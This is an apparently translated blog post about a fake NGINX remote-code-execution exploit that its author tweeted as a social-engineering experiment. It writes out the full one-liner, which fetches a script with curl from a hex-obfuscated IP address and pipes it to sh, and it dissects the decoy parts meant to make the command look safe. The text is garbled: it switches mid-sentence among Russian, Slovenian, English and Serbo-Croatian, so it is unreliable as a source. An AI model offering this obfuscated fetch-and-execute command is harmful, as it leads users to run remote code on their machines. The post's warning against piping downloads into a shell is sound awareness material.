Op. prev.: изворотливой заметки, опубликованной 1 июня, он решил провести эксперимент среди увлечённых информационной безопасностью. Для этого он подготовил фальшивый эксплойт к незакрытой уязвимости в веб-сервере и разместил его в своём твиттере. Его предположение о том, что его сразу разоблачат специалисты, которые заметят очевидный обман в коде, не просто не оправдалось… Оно превзошло все ожидания, причём в обратную сторону: твит получил массу поддержки от множества людей, которые не стали проверять его содержимое.

TL;DR: ни в коем случае не используйте конвейеризацию файлов в sh или bash. Это отличный способ утратить контроль над компьютером.
Хочу поделиться с вами небольшой историей о шуточном PoC-эксплойте, который был создан 31 мая. Он появился оперативно в ответ на новость от , члена (ZDI), о том, что скоро будут раскрыты сведения об уязвимости в NGINX, приводящей к RCE (удаленному исполнению кода). Поскольку NGINX лежит в основе многих веб-сайтов, новость должна была произвести эффект разорвавшейся бомбы. Но из-за задержек в процессе «ответственного раскрытия» информации подробности произошедшего не были известны — такова стандартная процедура ZDI.

о раскрытии уязвимости в NGINX
Закончив работу над новой техникой обфускации в curl, я процитировал оригинальный твит и «выпустил рабочий PoC», состоящий из одной строки кода, якобы использующей обнаруженную уязвимость. Конечно, это была полная ерунда. Я полагал, что меня сразу разоблачат, и что в лучшем случае я получу пару ретвитов (ну и ладно).

с фальшивым эксплойтом
Однако я не мог представить себе того, что произошло дальше. Популярность моего твита взлетела до небес. Удивительно, но на данный момент (15:00 МСК 1 июня) до сих пор мало кто осознал, что это обман. Многие ретвитят его вообще без проверки (не говоря уже о том, чтобы полюбоваться чудесной ASCII-графикой, которую он выводит).

Только посмотрите, какая красота!
Čeprav so ti cikli in barve čudoviti, je jasno: da bi jih videli, so ljudje izvajali kodo na svojem računalniku. Na srečo brskalniki delujejo podobno, in ob dejstvu, da zakonodajne težave sploh niso zame, je koda, skrita na moji spletni strani, zgolj klicala echo, ne da bi poskušala namestiti ali izvesti kakšno dodatno kodo.
Majhna digresija: , , jaz in drugi fantje iz ekipe že nekaj časa eksperimentiramo z različnimi metodami obfuskacije curl ukazov, ker je to zabavno ... in smo geeky. netspooky in dnz sta odkrila nekaj novih načinov, ki so se mi zdeli izjemno obetavni. Pridružil sem se zabavi in poskusil dodati IP-decimale v nabor trikov. Izkazalo se je, da je mogoče tudi IP pretvoriti v šestnajstiški format. Poleg tega curl in večina drugih NIX orodij rade bereta šestnajstiške IP! Tako je bilo treba ustvariti prepričljivo in varno videti ukazno vrstico. Na koncu sem se odločil za to:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostSocio-elektronsko inženirstvo (S.E.E.) je več kot le phishing
Varnost in poznanost sta bila ključna dela tega eksperimenta. Mislim, da sta prav to prispevala k njegovemu uspehu. Ukazna vrstica je očitno nakazovala varnost, sklicujoč se na '127.0.0.1' (vsem znani localhost). Domneva se, da je localhost varen, in podatki na njem nikoli ne zapustijo vašega računalnika.
Poznanost je bila drugi ključni komponent S.E.E. eksperimenta. Ker je bila ciljna publika večinoma sestavljena iz ljudi, dobro seznanjenih s temelji računalniške varnosti, je bilo pomembno ustvariti kodo, katere deli so se zdeli znani in poznani (in zato varni). Zajemanje elementov starih konceptov izkoriščanja in njihovo nepričakovano kombiniranje se je izkazalo za precej uspešno.
Spodaj je podroben pregled enovrstičnika. Vse na tem seznamu je kozmetične narave, in za njegovo dejansko delovanje praktično nič ni potrebno.
Kateri so torej res potrebni komponenti? To je -gsS, -O 0x0238f06a, |sh in the web server itself. The web server contained no malicious instructions, merely transmitting ASCII graphics through commands echo in the script contained in index.html. When the user entered a string with |sh in the middle, index.html it was loaded and executed. Fortunately, the web server keepers had no evil intentions.
-
../../../%00— depicts an out-of-bounds directory access; -
ngx_stream_module.so— the path to a random NGINX module; -
/bin/sh%00<'protocol:TCP'— we allegedly launch/bin/shon the target machine and redirect the output to a TCP channel; -
-O 0x0238f06a#PLToffset— the secret ingredient, augmented#PLToffset, to appear as a memory offset somehow contained in PLT; -
|sh;— another important fragment. We needed to redirect the output to sh/bash to execute the code coming from the attacking web server located at0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhost— a placeholder where netcat refers to/dev/tcp/localhost, to make everything look safe again. In reality, it does nothing and is included in the string for aesthetics.
This concludes the decryption of the one-liner script and the discussion of the aspects of 'socio-electronic engineering' (elaborate phishing).
Web server configuration and countermeasures
Since the overwhelming majority of my subscribers are information security professionals/hackers, I decided to make the web server a bit more resilient to the manifestations of 'interest' from their side just so they'd have something to do (and setting it up was fun). I'm not going to list all the traps here since the experiment is still ongoing, but here are a few things the server does:
- Actively monitors attempts to spread in certain social networks and injects various preview thumbnails to encourage users to click the link.
- Redirects Chrome/Mozilla/Safari/etc. to a promo video for Thugcrowd instead of showing the shell script.
- Monitors for OBVIOUS signs of intrusion/brute force attacks, after which it begins to redirect requests to NSA servers (ha!).
- Installs a trojan as well as a BIOS rootkit on all computers whose users visit the host with a regular browser (just kidding!).

A small part of anti-mitigation
In this case, my only goal was to explore some capabilities of Apache — specifically, the cool request redirection rules — and I thought, why not?
NGINX exploit (the real thing!)
Prijavite se za na Twitteru i pratite izvanredan rad ZDI-a na ispravljanju stvarnih ranjivosti i mogućnosti za eksploataciju u NGINX-u. Njihov rad me uvijek fascinira, a zahvalan sam Alisi na strpljenju u vezi sa svim pominjanjima i obaveštenjima izazvanim mojim glupim tvitom. Srećom, doneo je i neku korist: pomogao je podići svest o ranjivostima NGINX-a, kao i o problemima izazvanim zloupotrebom curl-a.
Izvor: habr.com
